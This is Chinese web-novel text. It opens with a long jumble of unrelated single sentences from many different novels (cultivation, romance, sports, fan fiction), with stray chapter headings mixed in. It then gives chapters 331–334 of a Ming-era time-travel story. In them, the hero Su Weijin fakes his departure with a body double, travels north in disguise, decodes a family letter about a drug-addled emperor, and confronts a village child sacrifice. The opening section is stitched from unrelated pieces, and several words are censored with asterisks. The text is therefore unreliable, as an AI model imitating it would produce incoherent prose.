如今马相当朝,柳如是这样的话要是被有心人报到马相耳朵里,那可就糟了。
此时的紫翼,看起来更加精神,更加整洁了,就如同从画里走出来的人一般。
这种跟随鱼不跟随本来就是你情我愿的事情,之前大家都是相信苏星才会跟着他走的,而接下来如果谁有更好的去处苏星也不会阻拦。
不过,不过苏星的意识并没有消失,他甚至觉得自己的手脚还是可以随便动弹的,但为什么身边有一团软绵绵的东西呢?
在那个男人的心里,估计到现在依然认为是那几个钓鱼的见财起意吧,或许他从来就不觉得,是自己的贪心葬送了妻子的性命。
看着紫翼的眼神,想起紫翼之前那些怪异的广告,云梦萝顿时便将自己想要说的话全都咽了下去。
不多时,便有下人将热水送了过来。云梦萝舒舒服服地沐浴了一番,换上了一套淡蓝色的罗纱裙,让人将自己的头发绾好,装扮了一番之后,才走了出去,准备去找紫翼。
他们的荷包越來越鼓,但灵魂越來越沉重,他们不知道自己什么时候会死掉,也不知道眼前的日子,何时才到尽头,。
自从那一天自己和杨浩确定了关系之后,周曼媛便陷入了一种幸福之中,但是杨浩却忽然消失了,这让周曼媛的内心曾经一下子变得无比的彷徨,还好后面杨浩发来短信告诉了他自己的行踪,这才让她不安的心逐渐平静下来。
图卓脸色骤然大变,目中有一丝惊慌之色一闪而过,再也没了之前的镇定和高高在上。
“我们知道客场的比赛不会像主场一样,我们在客场需要面对的麻烦不会比他们少,所以主场比赛一场也不能丢。”纪国仇这话不知道是不是在变相黑死狐狸,看起来他就是这个意思。
可没想到这狂雷之虎不但不后退,却在这时候还颇有气势的样子大喝一声。
还有那个什么艾森集团,自己也只是粗略的了解过,看来也应该下点功夫收集下对方的资料了。
虽然仅仅只是一句话,但是,这句话一旦传出去,必定震惊天下。
纪国耻这球先起跳,在空中利用变态的的滞空能力等到了篮球,下落时用手指一点,将其拨向篮筐方向。
“可惜高军没lz这样狂妄无知,到现在都没敢去豪门踢球,不然肯定会暴露出水货本质。”,“高黑”简直是无处不在。
金属大船彻底被雾气给包裹住,化为一道白色的流光,转瞬间便向着南边飞去,消失在天尽头。
第328章 惊觉连环局,冷汗透青衫
杜瞎子这条线放了出去,犹如将鱼饵抛入了深不见底的水潭;
与葡萄牙人的通商新规也勉强立下,广州地面的风波似乎暂告一段落。
苏惟瑾坐在驿馆书案前,正准备梳理线索,
决定下一步是顺着杜瞎子的踪迹深挖,还是依据那本指向京城的账册提前布局。
等到身边的呼吸渐渐平缓下来的时候,她才敢慢慢地睁开眼睛,侧着身子,看着睡梦里的男人。
他想伸手去抓,可一起到刚才冷冷的眼,或许给她一些时间,过几天再把她接回来。
“我第一次见过你的时候,说过,你在街上找的事情,也就几百几千而已,这次,做的事情,可能----超出了你的想像!”把车开回了饭庄,胡大发慢悠悠的点燃一支烟,轻轻的开始解答刘丹丹的疑问。
“秃鹰大队长,我在这里,等你凯旋归来。”临行前,刘全第一次,对着大队长秃鹰,敬了一个标准的军礼。
“老大,蜜月之旅很辛苦,还是要多注意身体的好。”刘磊继续道。
周围的有钱义士,看着这四不像的人,不觉投露出恶心的目光,因为穿着,谈吐讨论中。
随后是张导和蔺子青以及范夏云送其他几个富翁出来,我能看到富翁们的脸色都不太好看,尽管张导堆着笑脸,不过这些家伙大多都只是打着哈哈,各自上了自己的车离开了。
“飞扬,你为什么不接我电话?”黄华一见叶飞扬,连忙迎了上来,前天,从叶父中得知事情真相,他就一直很激动,虽说以前也有猜测。现在真实果然如此,怎能不让他激动,这几天,他一直忙,忙着筹钱。
“十几年也没上市吧!”胡大发冷冷的挤出一句话,差点又把刘经理呛到了。
叶之宸象征性的朝着蓝若灏点头,只是蓝若灏高冷,瞥了他一眼就转过脸去了。
虽然不是自己心甘情愿来这儿上什么劳什子金陵大学医学分院,可解一凡还是无奈选择了顺从,其一他不想陆麟德对自己产生任何怀疑。
“我没有听错吧?叶东说要帮助弟子提升境界?这怎么可能!”李天行等人也面面相觑,从对方的眼睛里,都看到了难以置信的惊愕。
常山又试验了在人身状态下美杜莎之眼的攻击力,他心里一动,闪出藏天阵,凝神感应了一下周围的气息,一挥手,一道暗金sè龙形气劲从他右手手掌之中飞出,钻到一个深洞里面,从里面抓出了一只雪斑豹。
说着,轰隆一声,空荡荡的大殿上,突然传来一声颤动的声音,叶东扭头看去,看到大殿之上突然多出了一个黑色的匣子,落在地上。
卫洛的清喝声中,她清楚地看到,那一道银光变得极缓极慢,轨迹清楚可见!时间在这一刻变得缓慢了,眼前的一切仿佛都成了慢动作。
看来,葛老六弄来的情报一点都没错,高家的确陷入了财政危机中,要不然,他们绝对不会饥不择食选择窝边草下手。
;;;;反倒是对面的雷登侯爵痛叫一声衣袖划开鲜血淋漓。他旁边的黑衣人看都不看痛叫连连的雷登侯爵只是一双闪着幽蓝光芒的眼睛直直的盯着韦飞。
卫洛这话一出,公主便哧地笑了起来。不止是她在发笑,连那几个宫婢也一并掩嘴轻笑。
第329章 孤灯织网,三策定乾坤
广州驿馆,夜深人静。
窗外是南国闷热而潮湿的夜,虫鸣唧唧,更衬得室内一片死寂。
苏惟瑾屏退了所有随从,偌大的厅堂内,只余他一人,对着一盏如豆的青灯。
林希言心里素质十分强大,压下了胡思乱想,认真听着唐隐的安排,只是脸上的红润燥热怎么也退不下去。
要知道,一匹普通的老黄马在目前的市面上可是需要三头成年耕牛才能换到,而一头成年耕牛可是能够卖到50银币。
林希言照顾唐隐不熟悉,主动接过菜单,点了起来,将餐厅的招牌菜点了一遍,交给服务员。
系统的声音缓缓落下,此时的手鞠也是长叹一口气。无奈的她继续开口说起来。
旁边唐光明看的羡慕不已,不过摸了摸手中的车钥匙,又开心的笑着。
但显然,这种言论在访谈节目中一经播出,肯定多少会引发些争论,一些酸言酸语也会随之出现。
几人顿时倒吸了一口凉气,这因果最难消除,尤其是带有天道的,这家伙到底干了啥?
如果换做以前他倒没有这个勇气和这个能力,但是现在不一样了,他回来就是为了保护自己的妹妹。
紧接着,一声沉闷的铁器撞击声响起。此刻的水月硬生生用一柄斩首大刀挡在了宇智波佐助的面前,强行抗下了这致命的一刀。强悍的力量之下,水月开始不自觉的喘息起来,身躯更是不由自主的开始抽搐。
“哥哥,你开慢一点,要出事儿了,绝对要出事儿的!”陈蓉也跟着在后面尖叫。
那里果然有一只胖胖的白色仓鼠。它的一只耳朵是白色的,另一只耳朵是黑色的。和咬咬一模一样。
他知道,如果再不采取行动,他肯定会被活捉,到时候肯定免不了一番折磨。
有人想趁乱逃出去,却无人阻止,堡垒内所有机器尽出,能留下的交通工具,也许只剩低空飞行的飞行滑板,可飞行滑板,飞不出星球。
不幸的事情发生了。矿井出现了塌方。所有的矿工都被埋在了矿井里。
看着眼前的这一幕,哪怕之前众人都已经见到虎力大仙的一番表演,但仍是感到心惊胆战。
陆云细心的切了一颗爱心西瓜递给迎迎,陆云切得很用心,所以从上面看还真像是一颗心,陆云又用西瓜榨了一杯西瓜汁,端着西瓜和西瓜汁陆云递给迎迎。
宇航楼建筑都是防腐蚀材料的,闯进来的寄生异兽一时半会攻陷不下,纷纷转向机房。
听闻此话,李春风笑容立刻消失,这老头难不成真拿他当傻子了?现在所以人都看着呢,若是再由这老头如此欺凌,今日很难活着走出去,必须给这老头一点教训震震场子。
陈伟攥紧拳头,看准刚才说话的那位络腮胡大汉,一记勾拳重重打了出去。
一条瀑布前,李墨瞳习地静坐,素面如画,她的面色有些苍白,伴随穆白二人走来,其也蓦然睁开双眸,黑白瞳孔中各闪过一丝光芒。
现在虽然已经是春末秋初,太阳仍旧很大,出来之后,燕笙歌就后悔了,眯着眼睛,阳光刺眼得很。
听着他醇厚好听附有磁性的嗓音,言优分不清心田流动的异样,她不明白是不是喜欢,亦不懂什么是爱,但她可以肯定,自己是真的没有讨厌他或者排斥他的任何念头。
第330章 慧眼荐良将 暗棋落南疆
广州城这潭浑水,算是被苏惟瑾用“超频大脑”加“物理净化”的手段,暂时搅和得清澈了些许。
四海帮树倒猢狲散,圣保罗庄灰飞烟灭,
佛郎机人暂时缩起了脑袋,
连带着市面上那些欺行霸市、偷鸡摸狗的行当都规矩了不少,
慧眼如炬的陈博士显然看穿了他的意图,就是这一眼神,瞬间让叶征僵在原地动弹不得。
上完了课,夏元赶忙去接天子,结果刚到教室门口,就见到几个男生正在围着天子。看样子是在要电话号码。
“还没有找到吗?”简短的话语中,却隐藏着即将爆发的雷霆震怒。
听到秦淼的话老院长不敢耽搁了,副市长都发话了,出了问题也不用他担着,赶忙点头,说好的。
在装模作样的叫喊着,但是意识已经回到了自己的空间之内,看到了一副神奇的景象。
因为大伙尴尬的发现,不仅他们召唤不出器灵,他喵的现在连坠星城的城门都打不开了,压根进不去。
“徒弟们,他们要从简,想轻轻松松的就把梅娣娶走,能答应么?”李艳阳突然问道。
叶枫这句话一出,在场的所有人纷纷一愣,不少人正在拉扯叶枫的人甚至直接松开了手。
宫无邪招手,在暗二靠近他后把一张纸交给了暗二,并在暗二耳边低语。
要知道,家族之中,除了活动在明面上的化散长老之外,自老祖以下,还有不少闭关隐匿的太上长老。而这些太上长老,无一列外,地位超然,乃是他叶家真正的底蕴。便是他的爷爷叶家族长叶久见到,也得毕恭毕敬。
此人见“诸葛”先生没有反应,心里“咯噔”一下,一扭头,竟然一甩衣袖,便自顾自地大步走进了龙翔客栈,把他直接丢在了外头,不予继续搭理下去。
“对了蛮牛,你打算怎么处置混江龙。”回去的路上,苏晨洋猛然想起白虎军精锐此时还押解着匪徒的老大。
他心下那点绮念无人得知,刀疤男总说他不知把握机会,他不蠢,只是看着那张脸,便知配不上了。
“过来找场子的,总要付出点代价吧?”莎莎淡淡地说道,却看见戴启等人哭丧着脸,而后涌起一脸惶恐。
“地下工作”时光。然而,他带着兴冲冲的心情而来,不想却揣着沉甸甸的心思而回。
气势瞬间变得剑拔弩张,梅研淡淡勾了勾唇角,几步上前,一米七的身高配上那统领万人的气势令人心下微颤。
杨昌富也被抓了,林氏直到现在还在到处找人,杨老爷子没有丝毫的消息,心里也很着急,可是九爷的事情他也是知道的,知道他不可能会帮忙,当初杨昌富做的事情他也是清楚的。
掌门无时无刻的不顾及着手底下人的感受,也是因此赢得明宗所有人的支持,尊重。
那三名暗卫摸不着头脑的看着沈俊凌,不明白他们还有什么没有完成的任务。
这血气冲天的壮观景象让所有人都为之震动,整个道院已九重殿为中心开始弥漫着浓郁的血气,那些武尊以下的人全部被血气所侵蚀,纷纷到底,眼睛逐渐变成血红色,整个身体都极其的萎靡与亢奋,嘶吼声不绝于耳。
一套针法封住萱萱父亲的大脑神经元后,刘怀东又往他脑袋里渡入了一股精纯的草本法力。
第331章 金蝉脱壳
晨光熹微,珠江江面薄雾如纱。
广州码头已是人声鼎沸,旌旗招展。
那艘朱漆描金的钦差官船稳稳泊在最好的位置,船头“钦差”大字旗在江风中猎猎作响,好不气派。
周大山一身崭新甲胄,按刀立在跳板前,虎目圆睁,身后两排护卫个个挺胸凸肚,把钦差仪仗的架子撑得十足。
广州知府领着大小官员早早候在码头,
一个个脸上堆着谄媚的笑,眼角余光却不住往官船上层瞟
——但见一道清瘦身影凭栏而立,头戴宽檐斗笠,青衫随风轻扬,
虽看不清面容,但那身量气度,不是那位名动天下的苏状元又是谁?
“下官等恭送钦差大人北返!”
知府领着众人躬身行礼,声音洪亮,生怕船上的“苏惟瑾”听不见。
船头那“苏惟瑾”只是微微颔首,并不言语,更显高深莫测。
混在送行百姓中的几双眼睛仔细确认后,悄悄退入人群,
很快,一只只信鸽扑棱棱飞起,
带着“苏惟瑾已按计划沿北江缓行返京”的消息,送往各个方向。
周大山与船头“替身”交换过一个心照不宣的眼神,心底冷笑:
看吧,看吧,都看清楚了!
俺家公子这出“金蝉脱壳”的大戏,这才刚开锣呢!
---
与此同时,与驿馆隔着一条街道的民居深处,却是另一番景象。
苏惟瑾对着一面铜镜,正小心翼翼地将一种淡褐色的膏体在脸上涂抹。
这是他利用超频大脑里的化学知识,用几种植物汁液混合矿物粉末调制的简易“易容膏”,
虽比不上后世的**,但稍作修饰,足以让原本清俊的眉眼变得平凡朴实,多了几分商贾的圆滑市侩。
“公子,这玩意真能糊弄过去?”
苏惟奇在一旁好奇地看着,手里已经整理好了好几份不同身份的文牒
——有往来岭南与湖广的茶叶商人“苏文”,
有游学寻亲的士子“苏明”,
甚至还有一份替某位致仕官员押运书画回原籍的管家凭证。
苏惟瑾对着镜子调整表情,让那张平凡的脸更自然地带上商人的精明:
“足够了。
大多数盘查,看的还是官凭路引和应对。
只要我们不自己露出马脚,这层伪装足矣。”
另一边,胡三正仔细检查着随身行囊。
几笼经过特殊驯养的禽鸟安静地蜷缩在笼中,
这些小家伙将是他们在陌生地域最好的耳目。
胡灵儿(胡三女儿改名胡灵儿)则小心地将一些瓶瓶罐罐收进特制的夹层
——里面既有疗伤解毒的药材,也有苏惟瑾特制的,遇火能生浓烟、遇水能变颜色的“小玩意儿”。
十余名精挑细选的心腹精锐已换下军服,穿着各色便装,沉默地检查着随身短刃和暗器,整个准备过程悄无声息,连呼吸都刻意放轻,空气中弥漫着山雨欲来的紧张。
“明修栈道,暗度陈仓。”
苏惟瑾最后将一份最重要的、盖着模糊关防的“商引”贴身收好,目光扫过众人,声音低沉却清晰。
“周大山他们在明处吸引目光,我们这支暗箭,才是关键。
记住,从现在起,没有苏钦差,只有贩夫走卒,游学士子。
无论遇到何种盘查,按预设身份应对,绝不可慌张,更不可妄动刀兵。”
众人凛然应诺。
---
夜色彻底笼罩了广州城,码头上官船的灯火依旧通明,丝竹管弦之声隐隐传来,似乎在举行一场盛大的饯行宴。
民居后门,一条平日里运送泔水的偏僻小巷。
阴影中,十几道身影如同鬼魅般悄然汇合。
苏惟瑾最后回头望了一眼码头方向,那座他一手搅动风云的南方巨城,
此刻已成为他迷惑对手的第一道屏障,也是他必须尽快摆脱的漩涡中心。
“走!”
一声低喝,十几人分成三组,借着夜色掩护,迅速融入纵横交错的街巷阴影之中,
方向却并非北上的官道水路,而是朝着西南,那片更为崎岖、也更容易隐藏行踪的丘陵山地。
他们的目标,是绕开所有可能被关注的官道、驿站,取道广西、湖广交界的偏僻小路,以最快的速度,悄无声息地直插中原腹地!
官船上,假扮苏惟瑾的侍卫统领赵虎,
正按照吩咐,慢条斯理地品着茶,
看着岸上逐渐远去的广州城灯火,心中默念:
“公子,一路平安。
这里的戏,属下一定给您唱足了!”
---
就在苏惟瑾潜行小队离开广州的第二天傍晚,
钦差船队按计划停靠在北江上游的第一个大埠——清远码头。
地方官员照例迎来送往,场面热闹。
周大山板着脸,严格按照“
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钦差护卫统领”的职责,安排警戒,一丝不苟。
夜半时分,几道黑影借着夜色摸到了官船停泊的附近水域。
为首之人打了个手势,几名水性极佳的好手如同鱼儿般悄无声息地潜入水中,朝着那艘最大的朱漆官船潜游而去。
他们的目标很明确——制造一场“意外”,
让这位风头太盛的苏状元,在北返途中“不幸”染上风寒,或者干脆失足落水,
一病不起,最好永远闭上那张能言善辩、洞悉鬼蜮的嘴。
然而,当他们好不容易避开外围警戒,摸到官船底部,
准备用特制的工具制造轻微破损,让江水缓慢渗入时,
却愕然发现,船底关键部位,不知何时竟被加固了一层韧性极强的藤网和铁皮!
几乎是同时,船上周大山猛地睁开眼,嘴角咧开一个狰狞的笑容:
“还真有不怕死的来触霉头!儿郎们,捞鱼了!”
刹那间,船上火把大亮,无数挠钩、网兜从船舷探下,如同天罗地网,将那几个还在水底发懵的“水鬼”兜头罩住!
“不好!中计了!”
岸上指挥的黑影头目见状,魂飞魄散,转身就想溜。
却听得身后一声冷笑:“现在才想走?晚了!”
周大山不知何时已带着一队精锐护卫绕到了他们身后,刀光在夜色中闪着寒光。
一场精心策划的“意外”,变成了自投罗网的闹剧。
消息传回广州某些人耳中,自是又惊又怒,砸碎了不少杯盏。
而真正的苏惟瑾,早已在百里之外,
听着胡三驯养的夜枭带回的模糊信息,嘴角微扬。
“果然忍不住动手了……也好,让他们继续跟那空船较劲吧。”
他抬头望向北方漆黑的夜空,眼神锐利如刀。
前路漫漫,这“金蝉脱壳”之计虽初战告捷,
但真正的考验,恐怕才刚刚开始。
那些隐藏在更深处的敌人,绝不会只有这点手段。
清远码头“水鬼”失手,幕后黑手必知中计,定会全力追查苏惟瑾真正行踪!
潜行小队取道西南偏僻小路,能否真的避开所有眼线?
而前方等待他们的,是看似平静实则暗藏杀机的城镇,还是更加险峻的天然屏障?
苏惟瑾的易容术和预设身份,在遇到真正的盘查高手时,能否依然天衣无缝?
潜行之路,步步惊心!
第332章 暗夜寻踪
月隐星沉,北江一条僻静支流的河湾里,水波不兴。
一叶无篷轻舟如同鬼魅般滑过水面,船桨入水无声,只在船尾留下几圈迅速消散的涟漪。
苏惟瑾第一个跃上岸边湿润的泥地,
身后十余名“商旅”紧随其后,动作迅捷如豹,
瞬间便隐入了岸旁茂密的灌木丛中,仿佛从未出现过。
“按预定路线,急行!”
苏惟瑾低喝一声,声音在寂静的夜里传出不远便消散。
他脑海中那张由超频大脑反复推演、优化过的隐秘地图清晰无比,
这条路线避开了所有繁华市镇、官方驿站,
专挑人迹罕至的山林小径,目的只有一个——以最快的速度,最隐蔽的方式,
无限接近那座风暴中心的京城。
一行人沉默疾行,脚下是厚厚的落叶,耳边只有风声虫鸣。
所有人都换上了最普通的粗布衣服,
脸上或多或少都做了些修饰,看上去就像是一伙为了赶路而风尘仆仆的行商。
苏惟瑾更是将那份商贾文牒“苏文”揣在了最顺手的地方,
神情举止间,已自然而然地带上了几分商人的谨慎与圆滑。
连续两日的跋涉,队伍进入了韶州府地界。
此处水网密布,虽非通衢大邑,却也有几处连接水陆的偏僻码头。
这日深夜,队伍正欲绕过一处位于山坳间的小码头,
走在最前面的胡三突然停下脚步,同时用手按住了腰间一个小巧的竹笼。
笼子里,那只嗅觉敏锐的雪鼬正不安地躁动着,胡须轻颤。
“公子,有动静。”
胡三声音压得极低,如同耳语。
苏惟瑾眼神一凝,顺着胡三示意的方向望去。
只见码头昏暗的灯笼光下,隐约有七八条人影正在无声地交接几只沉重的货箱。
那些箱子木质坚实,封条贴得严严实实,上面却没有任何商号或官府的标识。
更引人注意的是那些搬运者,一个个步履沉稳,下盘极稳,眼神在黑暗中警惕地扫视四周,绝非寻常靠力气吃饭的脚夫。
苏惟瑾鼻翼微不可察地翕动了一下,超频大脑瞬间捕捉到空气中飘来的一丝若有若无的气味
——那是汗水、河水的腥气,还夹杂着一种特殊的、类似劣质烟草和鱼腥混合的味道。
这味道……与他在广州**一些底层喽啰身上闻到过的,几乎一模一样!
“竟是漕帮的人?”
苏惟瑾心中凛然。
漕帮势力盘根错节,贯通南北水系,
若他们也被那“黑衣人”或其背后的“主上”渗透、利用,
为其构建了一条隐秘的物流网络,
那这股势力的触手之长、根基之深,远超他之前的预估!
他立刻打出手势,整个小队如同受惊的狸猫,
悄无声息地隐入码头旁茂密的芦苇丛中,
只留下一双双锐利的眼睛,紧紧盯着那批神秘的货箱。
这或许就是撬开对手物流网络,顺藤摸瓜找到其老巢的关键线索!
然而,苏惟瑾并未被眼前的发现冲昏头脑。
对方人手不少,且明显是练家子,己方虽有精锐,
但一旦发生冲突,必然暴露行踪,打草惊蛇。
他强压下立刻动手探查的冲动,
眼看着那伙人交接完毕,迅速消失在夜色中,只留下空荡荡的码头和江水的呜咽。
“记下这个地方,还有那些人的大致特征。”
苏惟瑾对身边的苏惟奇低语。
“现在不是打草惊蛇的时候,我们的首要任务是尽快抵京。”
队伍再次启程,更加小心谨慎。
又行了一日,进入了北江中游一段以水流湍急、两岸悬崖峭壁林立著称的险峻河道。
天色愈发阴沉,铅灰色的云层低低压下,空气中弥漫着山雨欲来的沉闷。
果然,入夜后,狂风骤起,豆大的雨点噼里啪啦地砸落下来,顷刻间便成了倾盆暴雨。
风助雨势,雨借风威,天地间白茫茫一片,视线受阻,连声音都被风雨声掩盖。
“天助我也!”
苏惟瑾眼中闪过一丝锐芒。
他当机立断,对胡三道:
“放夜枭,高空警戒!”
胡三会意,打开一个稍大的笼子,
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一只经过特殊训练、不畏风雨的夜枭悄无声息地振翅而起,盘旋在众人头顶的雨幕之中,充当着无形的眼睛。
“惟奇,带上五个好手,跟我来!”
苏惟瑾低喝,率先向河岸边一片茂密的芦苇荡摸去。
那里,早已根据预定计划,隐藏着两艘轻便快捷的小艇。
主船队(由周大山率领的钦差仪仗)此刻想必仍在北江主航道上前行,
维持着“苏钦差北上”的假象,吸引着所有明枪暗箭。
而苏惟瑾则带着最核心的六人,登上小艇,缆绳一解,两叶扁舟如同离弦之箭,
借着风势和湍急的水流,顺流直下,
瞬间便脱离了原本的潜行路线,消失在茫茫雨夜和更加错综复杂的水道网中。
这一手“金蝉脱壳”外加“暗度陈仓”,玩得可谓是淋漓尽致!
弃舟登岸后,已是另一番天地。众人将所有可能暴露身份的物品尽数处理,只携带必要干粮、武器和金银,轻装简从,专走荒山野岭。
苏惟瑾脚上的草鞋早已磨破,露出磨出血泡的脚掌,
但他眉头都未皱一下,只是用布条简单包裹,便继续赶路。
什么钦差的排场,什么状元的体面,在此刻都已抛诸脑后。
他心中只有一个信念:
抢时间!
抢在对手彻底反应过来,抢在京城那场可能颠覆国本的阴谋发动之前,
化作一柄最锋利的暗刃,悄无声息地刺入敌人的心脏!
苏惟瑾小队成功脱离预定路线,行踪更为隐秘。
但漕帮那条意外发现的线索,是否会被对手察觉?
暴雨中的急行,固然隐蔽,却也留下了痕迹。
前方,是更为复杂的湖广地界,盘查更严,眼线更多。
他们伪装的身份,能否经得起近距离的审视?
而那批被漕帮转运的神秘货箱,究竟装着什么?
是“勇武膏”原料,还是其他更致命的武器?
这条意外发现的暗线,是会成为指向幕后黑手的明灯,
还是将他们引入更危险的陷阱?
潜行之路,危机四伏!
第333章 京华暗流涌 家书抵万金
北上的潜行小队,昼伏夜出,风餐露宿,已悄然越过湖广地界,进入了河南境内。
这一日,队伍在一处前不着村后不着店的荒废山神庙暂作休整。
连日奔波,即便是精锐也难免面露疲色。
苏惟瑾靠坐在斑驳掉漆的神像下,就着冷水啃着干硬的饼子,
脑中却在不断推演着京城可能的变化,以及抵达后的行动步骤。
就在这时,胡三如同鬼影般从庙外闪入,手中捏着一支细小的竹管,低声道:
“公子,京城来的,加急密信。”
苏惟瑾精神一振,接过竹管,指尖在某个机括处一按,竹管应声裂开,露出一卷薄如蝉翼的纸笺。
展开,是芸娘那熟悉的、清秀中带着坚韧的笔迹。
信的开头,依旧是寻常的家常问候,关切南方湿热,询问归期,絮叨着腹中孩儿的动静,字里行间透着浓浓的思念。
然而,苏惟瑾的超频大脑瞬间启动了信息过滤与模式识别功能。
他的目光掠过那些温情脉脉的字句,直接锁定在几个看似无意提及的“闲笔”上:
“……近日京中时气不佳,妾身偶感不适,请了平安脉,大夫只说需静养,切勿劳神动气。
想起前几日,听闻太医院几位院判大人似也颇为忙碌,宫中用药似有增减,
街面几家老字号药铺的几味安神定惊的药材,都紧俏了许多,也不知是哪位贵人需用……”
“……府中老仆福伯前日上街,回来说起坊间趣闻,
道是如今京城最受追捧的,并非古玩字画,
而是些得道高人所制的‘清心丸’、‘养元散’,连几位阁老家都遣人四下寻访。
妾身愚见,这养生之道,还是顺其自然为好,金石之药,终是外物,过量恐伤根本。
想起夫君曾言,是药三分毒,诚不我欺……”
“……前日陆家妹妹清晏来府中说话,天真烂漫,提及陆指挥使近日常伴驾左右,
言说陛下潜心玄修,以求长生,已多日未御门听政。
清晏妹妹还说,陛下对邵**越发信重,几乎言听计从。
妾身听着,只觉得……陛下乃万金之躯,社稷所系,
这般……唉,只盼圣体真正康健才好。”
信的最后,芸娘笔锋一转,写道:
“家中一切安好,夫君勿念。
只是近来门前车马似乎多了些,
偶有生面孔徘徊,妾身已吩咐福伯紧闭门户,非熟人不纳。
望夫君在外,亦要步步谨慎,勿贪路程,平安为上。”
信看完了,苏惟瑾缓缓将纸笺折好,贴身收起。
面上看似平静,但熟悉他的人,如一旁的苏惟奇,却能看出他眼底深处那骤然凝聚的寒意,以及紧抿的唇角透出的肃杀之气。
超频大脑已将芸娘信中那些看似零碎、家常的信息,瞬间拼凑、分析、还原出了京城此刻令人心惊的真相:
宫中用药异常,特定安神定惊药材紧俏→皇帝很可能出现了焦虑、失眠、甚至幻觉等戒断或药物副作用症状!
“清心丸”、“养元散”在权贵中流行,阁老家都参与寻访→黑巫师集团炼制的“勇武膏”或其变种,已通过邵元节等渠道,在上层扩散,其危害远超想象!
嘉靖帝沉迷玄修,多日不朝,对邵元节言听计从→皇帝的心智已被严重影响,朝政近乎被佞臣和背后提供药物的黑巫师集团把持!
府外有不明人士窥探→对手显然也察觉到他苏惟瑾可能是变数,已开始监控他的家人,这是在警告,也是试探!
“好一个邵**!好一个‘养元散’!”
苏惟瑾心中冷笑。
“这是要把陛下,把这大明朝堂,都变成尔等药罐里的傀儡吗?!”
芸娘这封信,来得太及时了!
它不仅证实了他最坏的猜测,更将京城的危急程度直观地摆在了他的面前。
皇帝深陷丹药之毒,心智受控;
朝堂被奸佞把持;
对手甚至已经开始对他的家人下手!
局势恶化之快,远超预期。
他之前还想着抵达京城后,需要时间调查、布局。
现在看来,每一分每一秒都耽搁不起!
必须更快!
必须抢在对手彻底掌控一切,
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>抢在皇帝被彻底掏空、朝局彻底崩坏之前,赶到京城,捅破这层窗户纸!
“传令下去,”
苏惟瑾的声音低沉而冰冷,带着不容置疑的决断。
“休整到此为止。
即刻出发,日夜兼程!
沿途所有不必要的停留,全部取消!”
苏惟奇一愣:
“公子,兄弟们都已十分疲惫,是否……”
“疲惫?”
苏惟瑾抬眼看他,目光锐利如刀。
“京城那边,有人已经等不及要我们的命,要这大明的江山了!
我们慢一步,就可能满盘皆输!
告诉兄弟们,撑住!
到了京城,我苏惟瑾,必有重谢!”
他深吸一口气,压下翻腾的心绪,补充道:
“另外,让胡三想办法,通过他的渠道,给京城回个信。
不用具体内容,只需让芸娘知道,信已收到,我们……很快到家!”
“很快到家”四个字,他说得格外重。
这既是对妻子的安慰,也是他给自己定下的死命令!
潜行小队再次动身,速度比之前更快了几分。
所有人的脸上都褪去了疲惫,取而代之的是一种临战前的凝重与坚决。
他们知道,公子如此急切,定是京城出了惊天变故。
脚下的路,仿佛也感受到了这份紧迫,在夜色中向前无尽延伸。
苏惟瑾一马当先,脑海中只有一个念头在疯狂盘旋:
快!快!快!京城,我回来了!
那些藏在暗处的魑魅魍魉,准备好迎接我这颗,注定要搅动风云的“暗刃”了吗?
芸娘的家书如同警钟,揭示了京城已危如累卵!
苏惟瑾小队不顾疲惫全力赶路,他们能否在对手发动最终阴谋前抵达?
京城苏府已被监视,芸娘的处境是否安全?
而那把控皇帝、扩散**的邵元节及其背后的黑巫师集团,在京城究竟编织了怎样一张巨网?
苏惟瑾这柄“暗刃”归京,是能刺破迷雾力挽狂澜,还是会一头撞入敌人精心布置的天罗地网?
真正的决战,已在咫尺之遥!
第334章 古道闻民瘼 荒村破邪祀
天光未亮,晨雾如纱,笼罩着豫西南崎岖的古道。
一队风尘仆仆的“商旅”已踏着露水启程。
苏惟瑾走在最前,粗布衣衫难掩其挺秀身姿,
只是眉宇间多了几分商贾的圆滑与谨慎。
他刻意避开官道驿镇,专拣这些荒僻路径,只为隐匿行踪,
但也因此得以窥见这煌煌大明盛世帷幕下的真实一角。
路旁歇脚的茶摊,粗瓷大碗里茶汤浑浊,几个行脚的货郎正唉声叹气。
“今年的漕粮怕是又要误期了!
俺们那的粮店,糙米都涨了三成价!”
“谁说不是呢!
听说北边几个卫所的军爷,连操练都懒洋洋的,饷银都发不全,谁还有心思舞刀弄枪?”
“嘿,京城里才叫热闹呢!
都传宫里贵人们迷上了修道炼丹,连每日的朝会都免了,说是要静修……
这天下大事,难道还能靠吃丹药解决不成?”
苏惟瑾端着碗,看似漫不经心地啜饮着劣质茶水,耳朵却将每一句牢骚、每一段闲谈都收了进去。
超频大脑如同最精密的织机,
将这些零碎的信息飞速筛选、归类、整合:
漕运迟滞暗示财政与物流的深层隐患;
兵备松懈预示着边防可能的危机;
而宫廷沉迷方术,更是朝局失控的明确信号!
他抬眼望去,道旁因去岁冬旱而显得蔫头耷脑的麦苗,更让他心头沉重。
逆袭之路,早已超越了个人荣辱,关乎的是这沿途所见、万千黎庶的安稳,是这大明江山的根基!
行至午后,队伍进入一处群山环抱的偏僻山谷。
远远便听见人声嘈杂,夹杂着不成调的鼓乐声,透着一股说不出的诡异。
苏惟瑾抬手示意,小队立刻隐入道旁树林。
只见前方山村入口处,黑压压围了上百号村民。
人群中央,几个壮汉抬着一顶用树枝和破布勉强扎成的神轿,轿子上绑着一个七八岁、哭得撕心裂肺的女童。
一个穿着略体面些、獐头鼠目的里正,正站在一块大石上,挥舞着手臂,唾沫横飞地高喊:
“山神老爷发怒了!
天不下雨,地不长粮,都是因为我们心不诚!
今日,必须献上童女,祭祀山神,方能平息神怒,换我黑风峪风调雨顺,五谷丰登!”
村民们大多面带惶恐和麻木,有人不忍地低下头,却无人敢出声反对。
那女童的父母被几个壮汉死死拦在后面,哭喊声淹没在嘈杂之中。
“荒唐!”
苏惟瑾眉头紧锁,心中怒火升腾。
他快步走出树林,声音不大,却清晰地压过了现场的喧闹:
“住手!光天化日,岂能行此戕害人命之事?”
那王里正被打断,十分不悦,扭头见是一伙外乡行商,更是趾高气扬,厉声呵斥:
“哪里来的外乡人,敢管我们黑风峪的私事?
冲撞了山神祭祀,你担待得起吗?
赶紧滚开!”
苏惟瑾面对指责,神色不变,反而上前几步,
目光扫过惶恐的村民,最后落在那王里正身上,语气沉稳:
“阁下口口声声山神发怒,却不知神怒有何表征?”
王里正一愣,随即强辩:
“这……这还用问?
天旱无雨,山间野兽频出,前几日河水甚至无故倒流!
这不是神怒是什么?”
“非也。”
苏惟瑾摇头,伸手指向村后植被稀疏、有明显新土滑落痕迹的山坡。
